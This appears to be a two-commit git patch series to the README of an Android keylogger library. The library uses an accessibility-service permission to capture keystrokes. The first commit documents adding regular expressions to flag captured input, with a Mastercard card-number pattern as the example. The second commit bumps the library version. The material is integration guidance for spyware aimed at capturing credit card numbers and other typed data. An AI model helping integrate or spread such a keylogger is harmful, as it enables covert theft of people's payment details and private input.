From 1d86e242fc433ad8d34fbfe206d783b18f93ce92 Mon Sep 17 00:00:00 2001 From: evilthreads Date: Tue, 29 Sep 2020 14:21:14 -0500 Subject: [PATCH 1/2] regex documentation --- README.md | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 90f8703..d2500a6 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,18 @@ dependencies { ```kotlin Keylogger.requestPermission(this) ``` -4. Subscribe to keystrokes +4. (optional) Add any regular expressions to match +```kotlin +//mastercard +//but this pattern wasn't working for me upon development. I am not very good with them. +Keylogger.addPattern("^5[1-5][0-9]{14}\\$") +``` +```kotlin +Keylogger.subscribe { entry -> + //do something with keystrokes here +} +``` +5. Subscribe to keystrokes ```kotlin Keylogger.subscribe { entry -> //do something with keystrokes here From 5b8de0efdfd40c2cde223d26d2beb692caa17496 Mon Sep 17 00:00:00 2001 From: evilthreads Date: Tue, 29 Sep 2020 14:21:48 -0500 Subject: [PATCH 2/2] increment release --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d2500a6..93606e9 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ allprojects { 2. Add the dependency to your app's build.gradle ```gradle dependencies { - implementation 'com.github.evilthreads669966:android_keylogger:1.2' + implementation 'com.github.evilthreads669966:android_keylogger:1.3' } ``` 3. Request the accessibility service permission for your app.